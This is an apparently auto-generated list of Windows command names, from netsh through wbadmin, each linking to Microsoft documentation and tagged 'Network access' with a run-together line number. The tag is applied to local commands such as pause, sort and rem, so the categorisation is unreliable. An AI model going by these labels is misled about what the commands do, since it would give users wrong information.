- [netsh delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-delete) - Network accessline 511
- [netsh dhcpclient](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-dhcpclient) - Network accessline 512
- [netsh dnsclient](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-dnsclient) - Network accessline 513
- [netsh dump](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-dump) - Network accessline 514
- [netsh exec](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-exec) - Network accessline 515
- [netsh http](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-http) - Network accessline 516
- [netsh interface](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-interface) - Network accessline 517
- [netsh ipsec](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-ipsec) - Network accessline 518
- [netsh lan](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-lan) - Network accessline 519
- [netsh mbn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-mbn) - Network accessline 520
- [netsh namespace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-namespace) - Network accessline 521
- [netsh netio](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-netio) - Network accessline 522
- [netsh nlm](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-nlm) - Network accessline 523
- [netsh ras](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-ras) - Network accessline 524
- [netsh rpc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-rpc) - Network accessline 525
- [netsh set](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-set) - Network accessline 526
- [netsh show](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-show) - Network accessline 527
- [netsh trace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-trace) - Network accessline 528
- [netsh wcn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-wcn) - Network accessline 529
- [netsh wfp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-wfp) - Network accessline 530
- [netsh winhttp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-winhttp) - Network accessline 531
- [netsh winsock](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-winsock) - Network accessline 532
- [netsh wlan](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netsh-wlan) - Network accessline 533
- [netstat](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netstat) - Network accessline 534
- [nfsadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nfsadmin) - Network accessline 535
- [nfsshare](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nfsshare) - Network accessline 536
- [nfsstat](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nfsstat) - Network accessline 537
- [nlbmgr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nlbmgr) - Network accessline 538
- [nltest](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935%28v=ws.11%29) - Network accessline 539
- [nslookup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup) - Network accessline 540
- [nslookup exit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-exit-command) - Network accessline 541
- [nslookup finger](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-finger-command) - Network accessline 542
- [nslookup help](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-help) - Network accessline 543
- [nslookup ls](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-ls) - Network accessline 544
- [nslookup lserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-lserver) - Network accessline 545
- [nslookup root](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-root) - Network accessline 546
- [nslookup server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-server) - Network accessline 547
- [nslookup set](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set) - Network accessline 548
- [nslookup set all](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-all) - Network accessline 549
- [nslookup set class](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-class) - Network accessline 550
- [nslookup set d2](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-d2) - Network accessline 551
- [nslookup set debug](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-debug) - Network accessline 552
- [nslookup set domain](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-domain) - Network accessline 553
- [nslookup set port](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-port) - Network accessline 554
- [nslookup set querytype](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-querytype) - Network accessline 555
- [nslookup set recurse](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-recurse) - Network accessline 556
- [nslookup set retry](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-retry) - Network accessline 557
- [nslookup set root](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-root) - Network accessline 558
- [nslookup set search](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-search) - Network accessline 559
- [nslookup set srchlist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-srchlist) - Network accessline 560
- [nslookup set timeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-timeout) - Network accessline 561
- [nslookup set type](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-type) - Network accessline 562
- [nslookup set vc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-set-vc) - Network accessline 563
- [nslookup view](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup-view) - Network accessline 564
- [ntbackup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ntbackup) - Network accessline 565
- [ntcmdprompt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ntcmdprompt) - Network accessline 566
- [ntfrsutl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ntfrsutl) - Network accessline 570
- [offline](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/offline) - Network accessline 571
- [offline disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/offline-disk) - Network accessline 572
- [offline volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/offline-volume) - Network accessline 573
- [online](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/online) - Network accessline 574
- [online disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/online-disk) - Network accessline 575
- [online volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/online-volume) - Network accessline 576
- [openfiles](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/openfiles) - Network accessline 580
- [pagefileconfig](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pagefileconfig) - Network accessline 581
- [path](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/path) - Network accessline 582
- [pathping](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pathping) - Network accessline 583
- [pause](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pause) - Network accessline 584
- [pbadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pbadmin) - Network accessline 585
- [pentnt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pentnt) - Network accessline 586
- [perfmon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/perfmon) - Network accessline 587
- [ping](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ping) - Network accessline 588
- [pktmon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pktmon) - Network accessline 589
- [pnpunattend](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pnpunattend) - Network accessline 590
- [pnputil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pnputil) - Network accessline 591
- [popd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/popd) - Network accessline 592
- [powershell](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/powershell) - Network accessline 593
- [powershell ise](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/powershell_ise) - Network accessline 594
- [print](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/print) - Network accessline 595
- [prncnfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prncnfg) - Network accessline 596
- [prndrvr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prndrvr) - Network accessline 597
- [prnjobs](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prnjobs) - Network accessline 598
- [prnmngr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prnmngr) - Network accessline 599
- [prnport](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prnport) - Network accessline 600
- [prnqctl](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prnqctl) - Network accessline 601
- [prompt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/prompt) - Network accessline 602
- [pubprn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn) - Network accessline 603
- [pushd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pushd) - Network accessline 604
- [pushprinterconnections](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pushprinterconnections) - Network accessline 605
- [pwlauncher](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/pwlauncher) - Network accessline 606
- [pwsh](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_pwsh) - Network accessline 610
- [qappsrv](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/qappsrv) - Network accessline 611
- [qprocess](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/qprocess) - Network accessline 612
- [query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query) - Network accessline 613
- [query process](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query-process) - Network accessline 614
- [query session](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query-session) - Network accessline 615
- [query termserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query-termserver) - Network accessline 616
- [query user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/query-user) - Network accessline 617
- [quser](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/quser) - Network accessline 618
- [qwinsta](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/qwinsta) - Network accessline 622
- [rd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rd) - Network accessline 623
- [rdpsign](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rdpsign) - Network accessline 624
- [recover](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/recover) - Network accessline 625
- [recover disk group](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/recover_1) - Network accessline 626
- [refsutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil) - Network accessline 627
- [refsutil compression](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-compression) - Network accessline 628
- [refsutil dedup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-dedup) - Network accessline 629
- [refsutil fixboot](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-fixboot) - Network accessline 630
- [refsutil iometrics](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-iometrics) - Network accessline 631
- [refsutil leak](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-leak) - Network accessline 632
- [refsutil salvage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-salvage) - Network accessline 633
- [refsutil streamsnapshot](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-streamsnapshot) - Network accessline 634
- [refsutil triage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/refsutil-triage) - Network accessline 635
- [reg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg) - Network accessline 636
- [reg add](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-add) - Network accessline 637
- [reg compare](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-compare) - Network accessline 638
- [reg copy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-copy) - Network accessline 639
- [reg delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-delete) - Network accessline 640
- [reg export](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-export) - Network accessline 641
- [reg import](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import) - Network accessline 642
- [reg load](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-load) - Network accessline 643
- [reg query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-query) - Network accessline 644
- [reg restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-restore) - Network accessline 645
- [reg save](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-save) - Network accessline 646
- [reg unload](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reg-unload) - Network accessline 647
- [regini](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regini) - Network accessline 648
- [regsvr32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32) - Network accessline 649
- [relog](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/relog) - Network accessline 650
- [rem](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rem) - Network accessline 651
- [remove](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/remove) - Network accessline 652
- [ren](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ren) - Network accessline 653
- [rename](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rename) - Network accessline 654
- [repair](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/repair) - Network accessline 655
- [repair bde](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/repair-bde) - Network accessline 656
- [repadmin](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc770963%28v=ws.11%29) - Network accessline 657
- [replace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/replace) - Network accessline 658
- [rescan](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rescan) - Network accessline 659
- [reset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reset) - Network accessline 660
- [reset session](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reset-session) - Network accessline 661
- [retain](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/retain) - Network accessline 662
- [revert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/revert) - Network accessline 663
- [rexec](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rexec) - Network accessline 664
- [risetup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/risetup) - Network accessline 665
- [rmdir](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rmdir) - Network accessline 666
- [robocopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy) - Network accessline 667
- [route](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/route_ws2008) - Network accessline 668
- [rpcinfo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rpcinfo) - Network accessline 669
- [rpcping](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rpcping) - Network accessline 670
- [rsh](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rsh) - Network accessline 671
- [rundll32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32) - Network accessline 672
- [rundll32 printui](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32-printui) - Network accessline 673
- [rwinsta](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rwinsta) - Network accessline 677
- [san](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/san) - Network accessline 678
- [sc config](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-config) - Network accessline 679
- [sc create](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-create) - Network accessline 680
- [sc delete](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-delete) - Network accessline 681
- [sc query](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sc-query) - Network accessline 682
- [schtasks](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks) - Network accessline 683
- [scwcmd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd) - Network accessline 684
- [scwcmd analyze](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-analyze) - Network accessline 685
- [scwcmd configure](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-configure) - Network accessline 686
- [scwcmd register](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-register) - Network accessline 687
- [scwcmd rollback](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-rollback) - Network accessline 688
- [scwcmd transform](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-transform) - Network accessline 689
- [scwcmd view](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/scwcmd-view) - Network accessline 690
- [secedit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit) - Network accessline 691
- [secedit analyze](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-analyze) - Network accessline 692
- [secedit configure](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-configure) - Network accessline 693
- [secedit export](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-export) - Network accessline 694
- [secedit generaterollback](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-generaterollback) - Network accessline 695
- [secedit import](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-import) - Network accessline 696
- [secedit validate](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/secedit-validate) - Network accessline 697
- [select](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select) - Network accessline 698
- [select disk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select-disk) - Network accessline 699
- [select partition](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select-partition) - Network accessline 700
- [select vdisk](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select-vdisk) - Network accessline 701
- [select volume](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/select-volume) - Network accessline 702
- [serverceipoptin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/serverceipoptin) - Network accessline 703
- [servermanagercmd](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/servermanagercmd) - Network accessline 704
- [serverweroptin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/serverweroptin) - Network accessline 705
- [set (environment variables)](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set_1) - Network accessline 706
- [set (shadow copy)](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set) - Network accessline 707
- [set context](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-context) - Network accessline 708
- [set id](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-id) - Network accessline 709
- [set metadata](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-metadata) - Network accessline 710
- [set option](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-option) - Network accessline 711
- [set verbose](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set-verbose) - Network accessline 712
- [setlocal](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setlocal) - Network accessline 713
- [setspn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setspn) - Network accessline 714
- [setx](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setx) - Network accessline 715
- [sfc](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sfc) - Network accessline 716
- [shadow](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shadow) - Network accessline 717
- [shift](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shift) - Network accessline 718
- [showmount](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/showmount) - Network accessline 719
- [shrink](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shrink) - Network accessline 720
- [shutdown](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown) - Network accessline 721
- [simulate restore](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/simulate-restore) - Network accessline 722
- [sort](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sort) - Network accessline 723
- [start](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/start) - Network accessline 724
- [subst](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/subst) - Network accessline 725
- [sxstrace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sxstrace) - Network accessline 726
- [sysmon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sysmon) - Network accessline 727
- [sysocmgr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sysocmgr) - Network accessline 728
- [systeminfo](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo) - Network accessline 732
- [set device](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-device) - Network accessline 733
- [set drivergroup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-drivergroup) - Network accessline 734
- [set drivergroupfilter](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-drivergroupfilter) - Network accessline 735
- [set driverpackage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-driverpackage) - Network accessline 736
- [set image](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-image) - Network accessline 737
- [set imagegroup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-imagegroup) - Network accessline 738
- [set server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-server) - Network accessline 739
- [set transportserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-set-transportserver) - Network accessline 740
- [start multicasttransmission](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-start-multicasttransmission) - Network accessline 741
- [start namespace](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-start-namespace) - Network accessline 742
- [start server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-start-server) - Network accessline 743
- [start transportserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-start-transportserver) - Network accessline 744
- [stop server](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-stop-server) - Network accessline 745
- [stop transportserver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wdsutil-stop-transportserver) - Network accessline 749
- [takeown](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/takeown) - Network accessline 750
- [tapicfg](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tapicfg) - Network accessline 751
- [taskkill](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/taskkill) - Network accessline 752
- [tasklist](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist) - Network accessline 753
- [tcmsetup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tcmsetup) - Network accessline 754
- [telnet](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet) - Network accessline 755
- [telnet close](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-close) - Network accessline 756
- [telnet display](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-display) - Network accessline 757
- [telnet open](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-open) - Network accessline 758
- [telnet quit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-quit) - Network accessline 759
- [telnet send](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-send) - Network accessline 760
- [telnet set](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-set) - Network accessline 761
- [telnet status](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-status) - Network accessline 762
- [telnet unset](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/telnet-unset) - Network accessline 763
- [tftp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tftp) - Network accessline 764
- [time](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/time) - Network accessline 765
- [timeout](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/timeout) - Network accessline 766
- [title](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/title) - Network accessline 767
- [tlntadmn](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tlntadmn) - Network accessline 768
- [tpmtool](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tpmtool) - Network accessline 769
- [tpmvscmgr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tpmvscmgr) - Network accessline 770
- [tracerpt](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tracerpt) - Network accessline 771
- [tracert](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tracert) - Network accessline 772
- [tree](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tree) - Network accessline 773
- [tscon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tscon) - Network accessline 774
- [tsdiscon](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tsdiscon) - Network accessline 775
- [tsecimp](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tsecimp) - Network accessline 776
- [tskill](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tskill) - Network accessline 777
- [tsprof](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tsprof) - Network accessline 778
- [type](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/type) - Network accessline 779
- [typeperf](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/typeperf) - Network accessline 780
- [tzutil](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tzutil) - Network accessline 784
- [unexpose](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/unexpose) - Network accessline 785
- [uniqueid](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/uniqueid) - Network accessline 786
- [unlodctr](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/unlodctr) - Network accessline 787
- [ver](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/ver) - Network accessline 788
- [verifier](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/verifier) - Network accessline 789
- [verify](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/verify) - Network accessline 790
- [vol](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vol) - Network accessline 791
- [vssadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin) - Network accessline 792
- [vssadmin delete shadows](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-delete-shadows) - Network accessline 793
- [vssadmin list shadows](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-list-shadows) - Network accessline 794
- [vssadmin list writers](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-list-writers) - Network accessline 795
- [vssadmin resize shadowstorage](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin-resize-shadowstorage) - Network accessline 799
- [waitfor](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/waitfor) - Network accessline 800
- [wbadmin](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin) - Network accessline 801
- [wbadmin delete catalog](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog) - Network accessline 802
- [wbadmin delete systemstatebackup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-systemstatebackup) - Network accessline 803
- [wbadmin disable backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-disable-backup) - Network accessline 804
- [wbadmin enable backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-enable-backup) - Network accessline 805
- [wbadmin get disks](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-get-disks) - Network accessline 806
- [wbadmin get items](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-get-items) - Network accessline 807
- [wbadmin get status](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-get-status) - Network accessline 808
- [wbadmin get versions](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-get-versions) - Network accessline 809
- [wbadmin restore catalog](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-restore-catalog) - Network accessline 810
- [wbadmin start backup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-backup) - Network accessline 811
- [wbadmin start recovery](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery) - Network accessline 812
- [wbadmin start sysrecovery](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-sysrecovery) - Network accessline 813
- [wbadmin start systemstatebackup](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-systemstatebackup) - Network accessline 814
- [wbadmin start systemstaterecovery](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-systemstaterecovery) - Network accessline 815
- [wbadmin stop job](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-stop-job) - Network accessline 816
